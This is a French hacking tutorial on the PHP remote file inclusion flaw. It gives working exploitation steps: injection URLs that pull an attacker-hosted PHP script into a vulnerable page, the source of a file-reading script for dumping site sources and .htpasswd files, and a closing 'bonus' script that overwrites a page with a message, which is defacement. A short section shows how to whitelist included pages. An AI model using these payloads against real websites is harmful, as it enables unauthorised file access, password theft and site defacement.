La Faille PHP Include

 

 

 

• Présentation :

Cette faille repose sur l'une des possibilités qu'offre le PHP : la fonction "include( )".
Celle-ci permet d'inclure une page ou un fichier au sein d'une page PHP.

Par exemple :

<? include ('http://www.google.com'); ?> 

Cette commande aura pour but d'inclure la page google à l'endroit où on met ce script.
L'url obtenue est généralement de ce type :
http://www.site.com/page.php?var=admin.php
Ici, "page.php" est ... la page, elle contient la fonction et "var" qui se trouve être ... la variable !
admin.php elle, est la page à inclure grâce à la variable. Tout est clair ?

NON ?

C 'est pourtant simple, lorsqu'on clique sur le lien, la page admin.php
(c'est un exemple pour ceux qui ne l'aurait pas compris) est incluse grâce à la variable "var"

Bien, continuons :

Ici l'extension et l'url nous apprennent que l'accès admin se trouve sur la page admin.php (on s'en doutait) et que cette page est dans le même répertoire que "page.php".
Et surtout, on remarque que la variable n'est
PAS protégée.

Si admin.php n'existait pas (lien mort, ...), nous obtiendrions une erreur de ce style :

" Warning: Failed opening 'http://www.site.com' for inclusion (include_path='le_chemin_spécifique_au_serveur') in page.php on line 15 " (par exemple) "

 

• Exploitation :

En effet, le webmaster, novice du PHP, n'a pas pensé à protéger sa variable.
Pour s'en convaincre, tapons :
http://www.site.com/page.php?var=http://www.google.com
Et le célèbre moteur s'affiche en plein milieu de site.com !
Dans le cas contraire : soit vous avez mal tapé l'url (Attention, le "
http://" est important !)
et vous obtiendrez une erreur, soit vous tombez sur une erreur 404 ou sur un commentaire moqueur de l'admin.

Bon google est là ? On en déduit que le serveur peut inclure N'IMPORTE QUOI !!
Alors on va sur Multimania, on se créé un compte et comme nous au moins, nous maîtrisons le PHP :-), on fait un petit script permettant de voir la source d'un fichier.php.

Par exemple :

<?
$inF = fopen($file, "r");
$j="";
 while (!feof($inF)) {
  $j=$j.fgets($inF, 4096)."<br>";
 }
$j='<font color="#000000">'.$j.'</font>';
echo $j;
fclose($inF);
?>

On retourne sur notre site et on fait une petite inclusion de notre script :
http://www.site.com/page.php?var=http://membres.lycos.fr/mon_compte/mon_script.txt?file=../index.php

 

Et là, magnifique ! La source de la page index.php à la racine du site apparait en clair :) 

Cerise sur le gâteau, notre script qui est interprété par le serveur cible, est tout puissant car appelé par le site lui-même et non par notre navigateur. Un petit .htaccess vous barre la route, pas de problème, vous l'incluez et il vous offre le .htpasswd.

La "faille" (si on peut l'appeler ainsi, car c'est simplement une utilisation naïve des possibilités de la fonction) vous permet donc l'accès à toutes les ressources du site en navigant dans les répertoires, y compris ceux protégés.

 

Ce qu'il faut faire :
Bien ! Vous avez trouvé un serveur sensible, bravo ! Alors soit vous êtes sympa, vous prévenez l'admin !
Il ne vous répond pas ? Envoyez-lui ses mots de passe, il réagira !
Dans tout les cas, ne défacez pas le site, ça sert à rien, et vous ne serez plus un Hacker mais un Crasher !

 

• Sécurisation :

Bon ,vous êtes peut être aussi un webmaster en quête d'infos, alors pour vous, nous allons expliquer comment sécuriser vos petites pages. C'est simple, déjà, incluez seulement le nom des pages, sans l'extension. Celle-ci (si toutes vos pages portent la même extension) peut-être ajoutée juste avant l'inclusion. Puis pour parfaire le tout, une commande PHP bien pratique nous permet de vérifier que le document existe SUR LE SERVEUR : file_exist( ).

Voilà une possibilité pour sécuriser vos variables d'inclusion :
Prenons comme exemple une index.php qui inclue comme ça : index.php?page=rubrique

<?
if ($page == 'rubrique') { include('page.php'); }
elseif ($page == 'rubrique2') { include('page2.php'); }
elseif ($page == 'rubrique3') { include('page3.php'); }
/* etc....*/
else {include ("sommaire.php"); }
?>

 

Je précise quand même que les liens doivent être du style :
<a href="page.php?page=rubrique">Rubrique</a>

 

 

 

By Shad0w | http://www.securityhack.tk

 


 

• Bonus :

Pour laisser un petit message :

<?
$fp=fopen("
la_page_que_tu_veux.php", w);
$msg="
tape ici le message a inserer en entete de site";
fwrite($fp,$msg);
fclose($fp);
?>